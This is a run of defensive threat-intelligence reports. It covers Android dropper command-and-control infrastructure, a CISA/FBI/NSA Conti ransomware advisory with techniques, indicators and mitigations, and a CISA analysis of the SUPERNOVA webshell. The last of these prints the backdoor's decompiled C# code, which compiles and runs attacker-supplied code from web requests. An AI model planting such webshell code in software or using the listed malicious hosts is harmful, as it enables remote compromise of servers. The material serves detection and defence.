A vague pattern can be noted among the email addresses, which consist of a name, a surname, and a number registered on Gmail.
| C&C | IP Resolved | Status |
|---------------------------|-------------------|--------|
| vipyoga[.]today | 95.142.40.68 | UP |
| weatherclub[.]club | 185.177.93.242 | UP |
| downdating[.]club | 185.177.93.32 | UP |
| positivefitness[.]club | 185.177.93.72 | UP |
| loversfinder[.]xyz | 198.54.125.121 | UP |
| yoga4u[.]xyz | 185.177.93.120 | TIMEOUT |
| groovefitness[.]xyz | 185.177.92.213 | UP |
| fitnessstrategy[.]xyz | 185.177.93.44 | UP |
| safeyourdata[.]xyz | 185.177.93.145 | UP |
| sport4ever[.]club | 185.177.93.105 | UP |
| 2fapass[.]club | 185.177.93.111 | UP |
| androidradio[.]life | 45.142.212.216 | UP |
While most command and control servers lack meaningful webpages, one hosts a work-in-progress site for a home management provider from Kiev, Ukraine. Another server, loversfinder[.]xyz, hosts a page with the Cerberus mobile user interface, slightly modified for Russian speakers.
Given these pages, along with some Russian language strings found in the oldest versions of the malware family, we can infer that the authors are likely of Eastern Slavic origin.
## Telemetry
The droppers are most popular in Europe, particularly in Spain, but telemetry shows they are also spread across the US and Australia.
## Appendix – Indicators of Compromise
| MD5 | SHA256 |
|---------------------------------------|------------------------------------------|
| 95df249db6c7b745aa42ab362d44bab7 | 91ac84bfa47d2ee5addb2eb7047f2f21fd7712c4d99fd224c6c1cb4f6e6a2ffa |
| 477b37aa15058e1ac8167de3260a2400 | 446d44b2e2bdd063aed7c142da54d0bf1e1f145ddc5cb4f64b1de8dbb9b5a117 |
| de0383f0c7a422f5ab24a1ec1ec65aa1 | 52f5c117e3fff7be71afa0a4c5e53b24c05434599aaad885fbc2d7d7658e69fa |
| 53b5f39fb9e885767cf05270f6ed4286 | 6243ed1d4f2712be2e02edfb6411e8dc86ebe2c683e9f64462f7d23354a0e1ba |
| 1f1458bf12f2f983a1517c06def840ac | 446348a93ad38420f75bbd3ef4fff89ac55593ba8e9015e18df82645ad6fe424 |
| c4e05d945aee3817f23ef52b9de065a7 | 9c81fc435bdeadb43e0085f2a49ffd648dfd4e0a29295e07adfd72810c326b4c |
| fa7f5825691eec7f9537fe91f3cba895 | d1fb03695028dcccc23ea0d7562fb1e412ba7f1682f1288ccaa8c3a44ac44bce |
| cbf908c23201161e25dc93361cd59688 | 561b0057cbd91dec480999733b12b0d8bf7b173997384147fa7c6f2e830d3b8f |
| b06379eeb52758ba79bc5a2d643291af | 79611be7f48e1c6c0f22a02e9dcd4f95851bb46be61c7c433b3ba645707f2cc3 |
| b75bef4edf4d77d23a785457d3e01699 | 8d1a2a475f64ec074be71af600b1352bcd0705cb38dea2c84adeaaa39fd6f4c8 |
| 1eed680fc539c315278c87b2203442a4 | 6561f27e20affd1267e3993cc34424517d1704e7a89524c38755e8161674ff5b |
| 38ccb576775c31f969be18fa211c2751 | 40b6f76b371d69ed4da4493525265f8d005d39bdfc6920e266ed659cac3239e4 |
| d77de174654991a6d2db490206ea4dce | e1793a72cd8653dab70c2a12de2cd4bca6e01c394a6359fc1cd1d67f2302cfcb |
| 51093ded1b425f46669f51a84e0664c1 | 6366d374a7a189908cb22ce7ab53f7a4d795334ddb7aaf20c45aa64889782e98 |
| a6129e463e85d0ac0ef7764d7f8ec887 | 121b3779a0bd540eeae5897eac4dd94b0d8fa63cb8cc3023d5a8e914ac827b51 |
| 3c5b3611cba54e8898f974ccdda08924 | 0b04223581f96316df150bff2de7f428964f9050c6ffc731763d6aec78519f2d |
| 3b28c538592bdf493391d85c81ef9757 | 0769ae906c0cbc5721000cbf7c1307c9007533baa786c70acd2ac1895758681e |
| 96188f92d59863aaad3a680071268ae9 | 7d22c63ad869de425d353e25c6a24205ff3674c3fc86fb92ad22037a171b0213 |
| 17520f6e37ff64fc7d71015e8aeed6a4 | d750ca521fe6d12a263e1e5114c7c9c54941501cb070f6e30656e7811692817a |
| dc234d845bcb5bdaf3a7d7b73d5ea5ad | 4ed4edaa979fa129a6c739e492fa58be2cdb9399c8452d1faf10537a9f03aa25 |
| a39304c60bacdf3ac7dd67d371a8d20c | aba7feb1240d4af3fae753d380eebf2ed169cb8c499b11d65f414a374d69c77a |
| cfb3be26ca038bc78057d001fb0e7d46 | ddeada708a939df8bc3fd8bf23ef0d8b7364404e66ba9db4f1c4260f74b610da |
| ee6d3b2bda155e7d2a2efc284d8a8bc2 | 306cf08097ec1dfdfdd7c97fd3df3ce43c6c2dd15e383b3658682f41f6d7c53d |
| ef1e393b2deb59745780b83fbb44dc34 | 218fc17f0e9d9abb287f07dece10d073a521692c673aa2a24ebbbda49c4df624 |
| fe7a15b4cd8a472c9b146fa9797dd4ec | 9a71b14abfbc6ff4d8768dbdfcc3a573cfd107151d3d42f6d6cf11b7d7c699ef |
| 8d6254c0a59ef1c6dae5403d92a0f9b9 | 196cca4c237fe013a273955c29f712ad07e61f2f5e44242fb336323fe7444371 |
| 0f4733a3a188ca0ddf3f730b17b23e20 | 301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f |
| 5e355270a4b984bd12e62f1681809169 | a830620a6942a916a7cd93409445dc857d239d9803bffd5a489e0d1057c1f52f |
## Payloads
- nohiv.bzi.jrp
- pliqlqpfihoul.joyqtbisgqdaclndxsu.igrl
## Certificates
- 0b10b6815d41a238f1738c236c861cdb9f51adf3
- 422f61466215e0c6a5e4b3b80596d278652923cf
- 57f6acc0419af4434c3cf165605b40398581d0ae
- 83b03b43d86af65743a1a39cf20e7df86d056e40
- 86567aba9031c15a7064df6f7659dd234c7b609a
- 8bd3096cf26aab9d3d4122988bba3afaa095cf08
- 8da0b853891edf01df07689d53b281ded88f9db9
- 9890f3840906bb107ad7b210407964d1b7a7c13e
- 9972bc408a0756bb03bb494447599e2bc934d69f
- 9ca53fb35a5ddf3e2a4c14c7c636e81db8d6ccc1
- cdb7cf5f21f2387f3c6ebac6c201cdeb2ccf6f59
- d6eb62aef03a6f99213db4c859572c28475dfa32
- eaec062e6af9e5282fc6f2bc8fb8f55f946a921d
- eeb16846c4bbc9ba57f238aeb3b22694694bd1e0
## Author
Alexandra BOCEREG
I'm a Security Researcher at Bitdefender, currently pursuing a master's degree in Software Engineering. When I'm not looking at code, I spend my time enjoying a good book, traveling, and swimming. |
# Conti Ransomware: Immediate Actions You Can Take Now to Protect Against Conti Ransomware
## SUMMARY
March 9, 2022: This joint CSA was updated to include indicators of compromise and the United States Secret Service as a co-author. Updated February 28, 2022: Conti cyber threat actors remain active, and reported Conti ransomware attacks against U.S. and international organizations have risen to more than 1000. Notable attack vectors include Trickbot and Cobalt Strike.
While there are no specific or credible cyber threats to the U.S. homeland at this time, CISA, FBI, NSA, and the United States Secret Service (USSS) encourage organizations to review this advisory and apply the recommended mitigations.
The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed the increased use of Conti ransomware in more than 400 attacks on U.S. and international organizations. In typical Conti ransomware attacks, malicious cyber actors steal files, encrypt servers and workstations, and demand a ransom payment.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at 855-292-3937 or by email at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or [email protected].
This document was developed by CISA, FBI, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
**DISCLAIMER:** The information in this Joint Cybersecurity Advisory is provided "as is" for informational purposes only. CISA, FBI, and NSA do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## TECHNICAL DETAILS
While Conti is considered a ransomware-as-a-service (RaaS) model ransomware variant, there is variation in its structure that differentiates it from a typical affiliate model. It is likely that Conti developers pay the deployers of the ransomware a wage rather than a percentage of the proceeds from a successful attack.
Conti actors often gain initial access to networks through:
- Spearphishing campaigns using tailored emails that contain malicious attachments or malicious links.
- Malicious Word attachments often contain embedded scripts that can be used to download or drop other malware—such as TrickBot and IcedID, and/or Cobalt Strike—to assist with lateral movement and later stages of the attack life cycle with the eventual goal of deploying Conti ransomware.
- Stolen or weak Remote Desktop Protocol (RDP) credentials.
- Phone calls.
- Fake software promoted via search engine optimization.
- Other malware distribution networks (e.g., ZLoader).
- Common vulnerabilities in external assets.
In the execution phase, actors run a getuid payload before using a more aggressive payload to reduce the risk of triggering antivirus engines. CISA and FBI have observed Conti actors using Router Scan, a penetration testing tool, to maliciously scan for and brute force routers, cameras, and network-attached storage devices with web interfaces. Additionally, actors use Kerberos attacks to attempt to get the Admin hash to conduct brute force attacks.
Conti actors are known to exploit legitimate remote monitoring and management software and remote desktop software as backdoors to maintain persistence on victim networks. The actors use tools already available on the victim network—and, as needed, add additional tools such as Windows Sysinternals and Mimikatz—to obtain users’ hashes and clear-text credentials, which enable the actors to escalate privileges within a domain and perform other post-exploitation and lateral movement tasks. In some cases, the actors also use TrickBot malware to carry out post-exploitation tasks.
According to a recently leaked threat actor playbook, Conti actors also exploit vulnerabilities in unpatched assets to escalate privileges and move laterally across a victim’s network:
- 2017 Microsoft Windows Server Message Block 1.0 server vulnerabilities.
- "PrintNightmare" vulnerability (CVE-2021-34527) in Windows Print spooler service.
- "Zerologon" vulnerability (CVE-2020-1472) in Microsoft Active Directory Domain Controller systems.
Artifacts leaked with the playbook identify four Cobalt Strike server Internet Protocol (IP) addresses Conti actors previously used to communicate with their command and control (C2) server:
- 162.244.80[.]235
- 85.93.88[.]165
- 185.141.63[.]120
- 82.118.21[.]1
CISA and FBI have observed Conti actors using different Cobalt Strike server IP addresses unique to different victims. Conti actors often use the open-source Rclone command line program for data exfiltration. After the actors steal and encrypt the victim's sensitive data, they employ a double extortion technique in which they demand the victim pay a ransom for the release of the encrypted data and threaten the victim with public release of the data if the ransom is not paid.
## INDICATORS OF COMPROMISE
Updated March 9, 2022: The following domains have registration and naming characteristics similar to domains used by groups that have distributed Conti ransomware. Many of these domains have been used in malicious operations; however, some may be abandoned or may share similar characteristics coincidentally.
**Domains**
- badiwaw[.]com
- fipoleb[.]com
- kipitep[.]com
- pihafi[.]com
- tiyuzub[.]com
- balacif[.]com
- fofudir[.]com
- kirute[.]com
- pilagop[.]com
- tubaho[.]com
- barovur[.]com
- fulujam[.]com
- kogasiv[.]com
- pipipub[.]com
- vafici[.]com
- basisem[.]com
- ganobaz[.]com
- kozoheh[.]com
- pofifa[.]com
- vegubu[.]com
- bimafu[.]com
- gerepa[.]com
- kuxizi[.]com
- radezig[.]com
- vigave[.]com
- bujoke[.]com
- gucunug[.]com
- kuyeguh[.]com
- raferif[.]com
- vipeced[.]com
- buloxo[.]com
- guvafe[.]com
- lipozi[.]com
- ragojel[.]com
- vizosi[.]com
- bumoyez[.]com
- hakakor[.]com
- lujecuk[.]com
- rexagi[.]com
- vojefe[.]com
- bupula[.]com
- hejalij[.]com
- masaxoc[.]com
- rimurik[.]com
- vonavu[.]com
- cajeti[.]com
- hepide[.]com
- mebonux[.]com
- rinutov[.]com
- wezeriw[.]com
- cilomum[.]com
- hesovaw[.]com
- mihojip[.]com
- rusoti[.]com
- wideri[.]com
- codasal[.]com
- hewecas[.]com
- modasum[.]com
- sazoya[.]com
- wudepen[.]com
- comecal[.]com
- hidusi[.]com
- moduwoj[.]com
- sidevot[.]com
- wuluxo[.]com
- dawasab[.]com
- hireja[.]com
- movufa[.]com
- solobiv[.]com
- wuvehus[.]com
- derotin[.]com
- hoguyum[.]com
- nagahox[.]com
- sufebul[.]com
- wuvici[.]com
- dihata[.]com
- jecubat[.]com
- nawusem[.]com
- suhuhow[.]com
- wuvidi[.]com
- dirupun[.]com
- jegufe[.]com
- nerapo[.]com
- sujaxa[.]com
- xegogiv[.]com
- dohigu[.]com
- joxinu[.]com
- newiro[.]com
- tafobi[.]com
- xekezix[.]com
- dubacaj[.]com
- kelowuh[.]com
- paxobuy[.]com
- tepiwo[.]com
- fecotis[.]com
- kidukes[.]com
- pazovet[.]com
- tifiru[.]com
## MITRE ATT&CK TECHNIQUES
Conti ransomware uses the ATT&CK techniques listed in the table below.
| Technique Title | ID | Use |
|-----------------|----|-----|
| Valid Accounts | T1078 | Conti actors have been observed gaining unauthorized access to victim networks through stolen Remote Desktop Protocol (RDP) credentials. |
| Phishing: Spearphishing Attachment | T1566.001 | Conti ransomware can be delivered using TrickBot malware, which is known to use an email with an Excel sheet containing a malicious macro to deploy the malware. |
| Phishing: Spearphishing Link | T1566.002 | Conti ransomware can be delivered using TrickBot, which has been delivered via malicious links in phishing emails. |
| Command and Scripting Interpreter: Windows Command Shell | T1059.003 | Conti ransomware can utilize command line options to allow an attacker control over how it scans and encrypts files. |
| Native Application Programming Interface (API) | T1106 | Conti ransomware has used API calls during execution. |
| External Remote Services | T1133 | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. |
| Process Injection: Dynamic-link Library Injection | T1055.001 | Conti ransomware has loaded an encrypted dynamic-link library (DLL) into memory and then executes it. |
| Obfuscated Files or Information | T1027 | Conti ransomware has encrypted DLLs and used obfuscation to hide Windows API calls. |
| Deobfuscate/Decode Files or Information | T1140 | Conti ransomware has decrypted its payload using a hardcoded AES-256 key. |
| Brute Force | T1110 | Conti actors use legitimate tools to maliciously scan for and brute force routers, cameras, and network-attached storage devices with web interfaces. |
| Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003 | Conti actors use Kerberos attacks to attempt to get the Admin hash. |
| System Network Configuration Discovery | T1016 | Conti ransomware can retrieve the ARP cache from the local system by using the GetIpNetTable() API call. |
| System Network Connections Discovery | T1049 | Conti ransomware can enumerate routine network connections from a compromised host. |
| Process Discovery | T1057 | Conti ransomware can enumerate through all open processes to search for any that have the string sql in their process name. |
| File and Directory Discovery | T1083 | Conti ransomware can discover files on a local system. |
| Network Share Discovery | T1135 | Conti ransomware can enumerate remote open server message block (SMB) network shares using NetShareEnum(). |
| Remote Services: SMB/Windows Admin Shares | T1021.002 | Conti ransomware can spread via SMB and encrypts files on different hosts, potentially compromising an entire network. |
| Taint Shared Content | T1080 | Conti ransomware can spread itself by infecting other remote machines via network shared drives. |
| Data Encrypted for Impact | T1486 | Conti ransomware can use CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. |
| Service Stop | T1489 | Conti ransomware can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop. |
| Inhibit System Recovery | T1490 | Conti ransomware can delete Windows Volume Shadow Copies using vssadmin. |
## MITIGATIONS
CISA, FBI, and NSA recommend that network defenders apply the following mitigations to reduce the risk of compromise by Conti ransomware attacks:
- Use multifactor authentication.
- Require multifactor authentication to remotely access networks from external sources.
- Implement network segmentation and filter traffic.
- Implement and ensure robust network segmentation between networks and functions to reduce the spread of the ransomware. Define a demilitarized zone that eliminates unregulated communication between networks.
- Filter network traffic to prohibit ingress and egress communications with known malicious IP addresses.
- Enable strong spam filters to prevent phishing emails from reaching end users. Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments. Filter emails containing executable files to prevent them from reaching end users.
- Implement a URL blocklist and/or allowlist to prevent users from accessing malicious websites.
- Scan for vulnerabilities and keep software updated.
- Set antivirus/antimalware programs to conduct regular scans of network assets using up-to-date signatures.
- Upgrade software and operating systems, applications, and firmware on network assets in a timely manner. Consider using a centralized patch management system.
- Remove unnecessary applications and apply controls.
- Remove any application not deemed necessary for day-to-day operations. Conti threat actors leverage legitimate applications—such as remote monitoring and management software and remote desktop software applications—to aid in the malicious exploitation of an organization’s enterprise.
- Investigate any unauthorized software, particularly remote desktop or remote monitoring and management software.
- Implement application allowlisting, which only allows systems to execute programs known and permitted by the organization's security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common ransomware locations, such as temporary folders supporting popular internet browsers or compression/decompression programs.
- Implement execution prevention by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
- See the joint Alert, Publicly Available Tools Seen in Cyber Incidents Worldwide—developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom—for guidance on detection and protection against malicious use of publicly available tools.
- Implement endpoint and detection response tools.
- Endpoint and detection response tools allow a high degree of visibility into the security status of endpoints and can help effectively protect against malicious cyber actors.
- Limit access to resources over the network, especially by restricting RDP.
- After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources and require multifactor authentication.
- Secure user accounts.
- Regularly audit administrative user accounts and configure access controls under the principles of least privilege and separation of duties.
- Regularly audit logs to ensure new accounts are legitimate users.
- Review CISA’s APTs Targeting IT Service Provider Customers guidance for additional mitigations specific to IT Service Providers and their customers.
- Use the Ransomware Response Checklist in case of infection.
If a ransomware incident occurs at your organization, CISA, FBI, and NSA recommend the following actions:
- Follow the Ransomware Response Checklist on p. 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
- Scan your backups. If possible, scan your backup data with an antivirus program to check that it is free of malware.
- Report incidents immediately to CISA, a local FBI Field Office, or U.S. Secret Service Field Office.
CISA, FBI, and NSA strongly discourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered.
## ADDITIONAL RESOURCES
- The Digital Forensics, Incident Response (DFIR) Report: BazarLoader to Conti Ransomware in 32 Hours (September 2021).
- NSA Cybersecurity Information Sheet: Transition to Multi-Factor Authentication (August 2019).
- NSA Cybersecurity Information Sheet: Segment Networks and Deploy Application-Aware Defenses (September 2019).
- NSA Cybersecurity Information Sheet: Hardening Network Devices (August 2020).
CISA offers a range of no-cost cyber hygiene services to help organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
The StopRansomware.gov webpage is an interagency resource that provides guidance on ransomware protection, detection, and response. This includes ransomware alerts, reports, and resources from CISA and other federal partners.
## REWARDS FOR JUSTICE REPORTING
The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
## REFERENCES
1. MITRE ATT&CK: Conti
2. MITRE ATT&CK: TrickBot
3. MITRE ATT&CK: IcedID
4. FBI FLASH: Conti Ransomware Attacks Impact Healthcare and First Responder Networks
5. Ransomware Daily: Conti Ransomware Gang Playbook Mentions MSP Software
6. Cisco Talos blog: Translated: Talos' insights from the recently leaked Conti ransomware playbook
7. Microsoft Security Bulletin MS17-010 – Critical: Security Update for Microsoft Windows SMB Server
8. Microsoft Security Update: Windows Print Spooler Remote Code Execution Vulnerability – CVE-2021-34527
9. Microsoft Security Update: Netlogon Elevation of Privilege Vulnerability – CVE-2020-1472 |
# MAR-10319053-1.v2 - Supernova
**Notification**
This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk without restriction. For more information on the Traffic Light Protocol (TLP), see [cisa.gov/tlp](http://www.cisa.gov/tlp).
## Summary
### Description
This report provides detailed analysis of several malicious artifacts affecting the SolarWinds Orion product, which have been identified by the security community. It is placed by an attacker directly on a system that hosts SolarWinds Orion and is designed to appear as part of the SolarWinds product. CISA's "malware discovered" provides more information.
This report describes the analysis of a PowerShell script that decodes and installs SUPERNOVA, a malicious webshell backdoor. SUPERNOVA allows a remote operator to dynamically inject C# source code into a web portal provided via the SolarWinds software suite.
For a downloadable copy of indicators of compromise (IOCs), see: MAR-10319053-1.v2.stix.
### Findings
**Submitted Files (2)**
- 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515 (1.ps1)
- c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 (App_Web_logoimagehandler.ashx)
### Tags
- trojan
### Details
**1.ps1**
- Size: 10609 bytes
- Type: ASCII text, with very long lines
- MD5: 4423a4353a0e7972090413deb40d56ad
- SHA1: 8004d78e6934efb4dea8baf48a589c2c1ed10bf3
- SHA256: 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515
- SHA512: 5d2dee3c8e4c6a4fa1d84e434ab0b864245fae51360e03ed7338c2b40d7c1d61aad755f8c54615197100dd3b8bfd00d33b25617812300
- ssdeep: 192:9x2OrPgH8XWECNsW4IX4SLY0tqIeZ9StIGca/HjKxnlyImIwN
- Entropy: 4.457683
**Antivirus**
- Microsoft Security Essentials: Trojan:MSIL/Solorigate.G!dha
**YARA Rules**
No matches found.
**ssdeep Matches**
No matches found.
### Relationships
- 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515 contains c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71
### Description
This file is an event log that details the execution of a PowerShell script designed to Base64 decode and install a 32-bit .NET dynamic-link library (c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71). The DLL is patched with the SUPERNOVA webshell.
Displayed below is a portion of the event log with the victim information redacted. It indicates the malicious PowerShell was executed by the legitimate user.
**--Begin event log--**
`[Convert]::FromBase64String($b);[IO.File]::WriteAllBytes($f $bs)' 'S-1-0-0' '-' '-' '0x0000000000000000' 'E:\Program Files (x86)\SolarWinds\Orion\S`
**--End event log--**
**c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71**
### Tags
- backdoortrojan
### Details
**App_Web_logoimagehandler.ashx.b6031896.dll**
- Size: 7680 bytes
- Type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
- MD5: 56ceb6d0011d87b6e4d7023d7ef85676
- SHA1: 75af292f34789a1c782ea36c7127bf6106f595e8
- SHA256: c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71
- SHA512: f7eac6ab99fe45ca46417cdca36ba27560d5f8a2f37f378ba97636662595d55fa34f749716971aa96a862e37e0199eb6cb905636e6ab01
- ssdeep: 192:8/SqRzbt0GBDawA5uT8wSlyDDGTBNFkQ:8/SyHKGBDax5uThDD6BNr
- Entropy: 4.622450
**Antivirus**
- Ahnlab: Backdoor/Win32.SunBurst
- Antiy: Trojan/MSIL.Agent
- Avira: TR/Sunburst.BR
- BitDefender: Trojan.Supernova.A
- Clamav: Win.Countermeasure.SUPERNOVA-9808999-1
- Comodo: Backdoor
- Cyren: W32/Supernova.GYFL-6114
- ESET: a variant of MSIL/SunBurst.A trojan
- Emsisoft: Trojan.Supernova.A (B)
- Ikarus: Backdoor.Sunburst
- K7: Trojan (00574a531)
- Lavasoft: Trojan.Supernova.A
- McAfee: Trojan-sunburst
- Microsoft Security Essentials: Trojan:MSIL/Solorigate.G!dha
- NANOAV: Trojan.Win32.Sunburst.iduxaq
- Quick Heal: Backdoor.Sunburst
- Sophos: Mal/Sunburst-B
- Symantec: Backdoor.SuperNova
- Systweak: trojan-backdoor.sunburst-r
- TrendMicro: Trojan.59AF4B5F
- TrendMicro House Call: Trojan.59AF4B5F
- VirusBlokAda: TScope.Trojan.MSIL
- Zillya!: Trojan.SunBurst.Win32.3
**YARA Rules**
No matches found.
**ssdeep Matches**
100: 5976f9a3f7dcd2c124f1664003a1bb607bc22abc2c95abe5ecd645a5dbfe2c6c
### PE Metadata
- Compile Date: 2020-03-24 05:16:10-04:00
- Import Hash: dae02f32a21e03ce65412f6e56942daa
- Company Name: None
- Internal Name: App_Web_logoimagehandler.ashx.b6031896.dll
- Original Filename: App_Web_logoimagehandler.ashx.b6031896.dll
- Product Name: None
- Product Version: 0.0.0.0
### PE Sections
| MD5 | Name | Raw Size | Entropy |
| --- | ---- | -------- | ------- |
| 21556dbcb227ba907e33b0847b427ef4 | header | 512 | 2.597488 |
| 9002a963c87901397a986c3333d09627 | .text | 5632 | 5.285309 |
| 78888431b10a2bf283387437a750bca3 | .rsrc | 1024 | 2.583328 |
| 45ded0a8dacde15cb402adfe11b0fe3e | .reloc | 512 | 0.081539 |
### Packers/Compilers/Cryptors
- Microsoft Visual C# / Basic .NET
### Relationships
- c15abaf51e... contained within 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515
### Description
This file is a 32-bit .NET DLL that has been identified as a modified SolarWinds plug-in. The malware patched into this plug-in has been identified to partially contain C# code, which the function will compile and execute directly in system memory.
The `ProcessRequest` function takes an `HttpContext` Data structure as an argument. It parses portions of the request substructure of the parent `HttpContext`. These four variables are then provided as arguments to the `DynamicRun` function described next.
The `DynamicRun` function is designed to accept C# code and then dynamically compile and execute it. The `codes` variable provided to the function contains the C# code, while the `clazz` variable will contain the class name that will be called for the newly compiled class. The `args` variable will contain the arguments provided to the executed malicious code.
After parsing out and executing the provided code, the `ProcessRequest` function will continue on to call a function named `WebSettingsDAL.get_NewSiteLogo`.
**--Begin ProcessRequest Function--**
```csharp
public void ProcessRequest(HttpContext context)
{
try
{
string codes = context.Request["codes"];
string clazz = context.Request["clazz"];
string method = context.Request["method"];
string[] args = context.Request["args"].Split('\n');
context.Response.ContentType = "text/plain";
context.Response.Write(this.DynamicRun(codes, clazz, method, args));
}
catch (Exception ex)
{
}
NameValueCollection queryString = HttpUtility.ParseQueryString(context.Request.Url.Query);
try
{
string str1 = queryString["id"];
string s;
if (!(str1 == "SitelogoImage"))
{
if (!(str1 == "SiteNoclogoImage"))
throw new ArgumentOutOfRangeException(queryString["id"]);
s = WebSettingsDAL.get_NewNOCSiteLogo();
}
else
s = WebSettingsDAL.get_NewSiteLogo();
byte[] buffer = Convert.FromBase64String(s);
if ((buffer == null || buffer.Length == 0) && File.Exists(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif")))
buffer = File.ReadAllBytes(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif"));
string str2 = buffer.Length < 2 || buffer[0] != byte.MaxValue || buffer[1] != (byte)216 ? (buffer.Length < 3 || buffer[0] != (byte)71 || (buffer[1] != (byte) 69 || (buffer[5] != (byte)10 || buffer[6] != (byte)26)) || buffer[7] != (byte)10 ? "image/jpeg" : "image/png") : "image/gif") : "image/jpeg";
context.Response.OutputStream.Write(buffer, 0, buffer.Length);
context.Response.ContentType = str2;
context.Response.Cache.SetCacheability(HttpCacheability.Private);
context.Response.StatusDescription = "OK";
context.Response.StatusCode = 200;
return;
}
catch (Exception ex)
{
LogoImageHandler._log.Error((object) "Unexpected error trying to provide logo image for the page.", ex);
}
context.Response.Cache.SetCacheability(HttpCacheability.NoCache);
context.Response.StatusDescription = "NO IMAGE";
context.Response.StatusCode = 500;
}
```
**--End ProcessRequest Function--**
**--Begin DynamicRun Function--**
```csharp
public string DynamicRun(string codes, string clazz, string method, string[] args)
{
ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
CompilerParameters options = new CompilerParameters();
options.ReferencedAssemblies.Add("System.dll");
options.ReferencedAssemblies.Add("System.ServiceModel.dll");
options.ReferencedAssemblies.Add("System.Data.dll");
options.ReferencedAssemblies.Add("System.Runtime.dll");
options.GenerateExecutable = false;
options.GenerateInMemory = true;
string source = codes;
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(options, source);
if (compilerResults.Errors.HasErrors)
{
Console.WriteLine("error");
return compilerResults.Errors.ToString();
}
object instance = compilerResults.CompiledAssembly.CreateInstance(clazz);
return (string) instance.GetType().GetMethod(method).Invoke(instance, (object[]) args);
}
```
**--End DynamicRun Function--**
## Recommendations
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization:
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publications.
## Contact Information
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product.
## Document FAQ
**What is a MIFR?**
A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most cases, it is based on the level of desired analysis.
**What is a MAR?**
A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual analysis.
**Can I edit this document?**
This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to CISA.
**Can I submit malware to CISA?**
Malware samples can be submitted via three methods:
- Web: https://malware.us-cert.gov
- E-Mail: [email protected]
- FTP: ftp.malware.us-cert.gov (anonymous)
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing attempts.
## Revisions
- January 27, 2021: Initial Version
- November 17, 2021: Removed a file that was determined to be a legitimate SolarWinds file
This product is provided subject to this Notification and this Privacy & Use policy. |
# Analysis Of Exploitation: CVE-2020-10189
